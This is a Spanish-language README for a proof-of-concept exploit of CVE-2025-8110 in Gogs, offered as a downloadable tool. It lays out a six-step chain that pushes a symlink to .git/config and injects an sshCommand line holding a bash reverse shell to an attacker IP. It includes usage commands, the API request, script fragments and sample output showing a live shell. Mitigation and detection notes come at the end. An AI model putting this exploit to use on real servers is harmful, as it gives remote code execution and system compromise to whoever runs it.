
Exploit PoC para CVE-2025-8110
CVE-2025-8110 es una vulnerabilidad crítica en Gogs que permite a atacantes autenticados lograr ejecución remota de código mediante la manipulación de enlaces simbólicos en repositorios. Esta prueba de concepto demuestra la cadena de explotación completa, desde la autenticación hasta la obtención de una shell inversa.
La vulnerabilidad existe porque Gogs sigue enlaces simbólicos al manejar archivos de repositorio a través de su API, permitiendo a un atacante leer y modificar archivos sensibles como .git/config. Al inyectar una directiva maliciosa, se pueden ejecutar comandos arbitrarios del sistema con los privilegios de la cuenta de servicio de Gogs.
sshCommandPuntuación CVSS: 7.2 (Alta)
Vector de Ataque: Red
Autenticación Requerida: Sí
Interacción del Usuario: Ninguna
Impacto: Compromiso completo del sistema
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Script de explotación principal
├── requirements.txt # Dependencias de Python
└── README.md # Documentación
| Opción | Descripción | Requerido |
|---|---|---|
-u, --url | URL base de Gogs (ej. https://gogs.ejemplo.com) | Sí |
-lh, --host | Dirección IP del atacante para la shell inversa | Sí |
-lp, --port | Puerto del atacante para la shell inversa | Sí |
-U, --username | Nombre de usuario de Gogs | Sí |
-P, --password | Contraseña de Gogs | Sí |
-x, --proxy | Habilitar proxy (localhost:8080) | No |
-v, --verbose | Habilitar salida detallada | No |
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ CVE-2025-8110 Exploitation Chain │
└─────────────────────────────────────────────────────────────────────────────┘
Paso 1: Autenticación
├── Navegar a /user/login
├── Extraer token CSRF de la página de inicio de sesión
├── Enviar credenciales con el token CSRF
└── Establecer sesión autenticada
Paso 2: Generación de Token de Aplicación
├── Navegar a /user/settings/applications
├── Extraer token CSRF de la página de configuración
├── Generar nuevo token de aplicación
└── Extraer token de la respuesta
Paso 3: Creación de Repositorio Malicioso
├── Crear repositorio mediante API con auto_init
├── Generar nombre de repositorio aleatorio
└── Obtener URL del repositorio
Paso 4: Subida de Enlace Simbólico
├── Clonar repositorio localmente
├── Crear enlace simbólico apuntando a .git/config
├── Agregar, confirmar y subir cambios
└── Verificar subida exitosa
Paso 5: Explotación RCE
├── Crear .git/config malicioso con sshCommand
├── Codificar contenido de configuración en Base64
├── Subir mediante API al destino del enlace simbólico
└── Desencadenar ejecución de comandos
Paso 6: Shell Inversa
├── Conexión establecida con el host atacante
├── Acceso interactivo a la shell
└── Ejecución de comandos en el objetivo
Gogs no sanitiza adecuadamente la travesía de enlaces simbólicos al manejar archivos de repositorio a través de su API. Cuando se accede a un archivo mediante el endpoint de la API, Gogs sigue enlaces simbólicos sin validación, permitiendo el acceso a archivos sensibles fuera del directorio del repositorio.
Creación del Enlace Simbólico
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Configuración Maliciosa
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
Explotación mediante API
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Máquina atacante (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Ejecutar exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Para verificar la versión de Gogs:
# Acceder a la interfaz web de Gogs y revisar el pie de página
# O usar la API
curl https://gogs.ejemplo.com/api/v1/version
Actualizar Gogs
# Respaldar la instalación existente
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# Descargar e instalar la última versión
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
Deshabilitar Soporte de Enlaces Simbólicos
# En custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true
Implementar Validación de Entrada
# Limitar acceso a la API de Gogs
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
Actividad en Repositorios
Actividad en API
/api/v1/repos/*/contents/*.git/config mediante APIIndicadores del Sistema
# Revisar registros de acceso de Gogs en busca de explotación de API
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# Monitorear la creación de enlaces simbólicos en repositorios
find /home/gogs/gogs-repositories -type l
# Verificar modificaciones sospechosas en git config
grep -r "sshCommand" /home/gogs/gogs-repositories/
# Monitorear conexiones salientes
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand in git config",
"random hex repository names"
],
"recommended_actions": [
"Review repository creation logs",
"Check for symlink files",
"Verify API access patterns"
]
}
Esta vulnerabilidad fue descubierta y divulgada de manera responsable al equipo de desarrollo de Gogs. El proveedor ha publicado un parche en la versión 0.12.6.
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Los usuarios deben:
El autor no asume ninguna responsabilidad por el uso indebido o daños causados por esta herramienta.
Licencia MIT
Copyright (c) 2025 oguiii
Por la presente se concede permiso, libre de cargos, a cualquier persona que obtenga una copia de este software y de los archivos de documentación asociados (el "Software"), para tratar el Software sin restricción, incluyendo sin limitación los derechos de usar, copiar, modificar, fusionar, publicar, distribuir, sublicenciar y/o vender copias del Software, y para permitir a las personas a las que se les proporcione el Software a hacerlo, sujeto a las siguientes condiciones:
El aviso de copyright anterior y este aviso de permiso deberán incluirse en todas las copias o partes sustanciales del Software.
EL SOFTWARE SE PROPORCIONA "TAL CUAL", SIN GARANTÍA DE NINGÚN TIPO, EXPRESA O IMPLÍCITA, INCLUYENDO PERO NO LIMITADO A LAS GARANTÍAS DE COMERCIABILIDAD, IDONEIDAD PARA UN PROPÓSITO PARTICULAR Y NO INFRACCIÓN. EN NINGÚN CASO LOS AUTORES O TITULARES DEL COPYRIGHT SERÁN RESPONSABLES DE NINGUNA RECLAMACIÓN, DAÑO U OTRA RESPONSABILIDAD, YA SEA EN UNA ACCIÓN DE CONTRATO, AGRAVIO O CUALQUIER OTRO MOTIVO, QUE SURJA DE O EN RELACIÓN CON EL SOFTWARE O EL USO U OTRAS OPERACIONES CON EL SOFTWARE.
Hecho con dedicación por oguiii